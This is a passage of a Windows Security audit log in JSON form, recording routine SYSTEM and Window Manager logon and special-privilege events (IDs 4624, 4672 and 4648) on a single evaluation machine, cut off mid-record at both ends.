","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.958707Z"}},"EventRecordID":21320,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4648,"Version":0,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.983677Z"}},"EventRecordID":21321,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","LogonGuid":"00000000-0000-0000-0000-000000000000","TargetUserName":"DWM-1","TargetDomainName":"Window Manager","TargetLogonGuid":"00000000-0000-0000-0000-000000000000","TargetServerName":"localhost","TargetInfo":"localhost","ProcessId":"0x2e4","ProcessName":"C:\\Windows\\System32\\winlogon.exe","IpAddress":"-","IpPort":"-"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.983688Z"}},"EventRecordID":21322,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-90-0-1","TargetUserName":"DWM-1","TargetDomainName":"Window Manager","TargetLogonId":"0xf47d","LogonType":2,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x2e4","ProcessName":"C:\\Windows\\System32\\winlogon.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1842","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.983690Z"}},"EventRecordID":21323,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-90-0-1","SubjectUserName":"DWM-1","SubjectDomainName":"Window Manager","SubjectLogonId":"0xf47d","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.986530Z"}},"EventRecordID":21324,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.986535Z"}},"EventRecordID":21325,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.040375Z"}},"EventRecordID":21326,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.040380Z"}},"EventRecordID":21327,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.072595Z"}},"EventRecordID":21328,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.072601Z"}},"EventRecordID":21329,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.079319Z"}},"EventRecordID":21330,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.079323Z"}},"EventRecordID":21331,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.110457Z"}},"EventRecordID":21332,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.110462Z"}},"EventRecordID":21333,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.247881Z"}},"EventRecordID":21334,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.247885Z"}},"EventRecordID":21335,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.287146Z"}},"EventRecordID":21336,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.287156Z"}},"EventRecordID":21337,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.328579Z"}},"EventRecordID":21338,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.328583Z"}},"EventRecordID":21339,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.329403Z"}},"EventRecordID":21340,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi 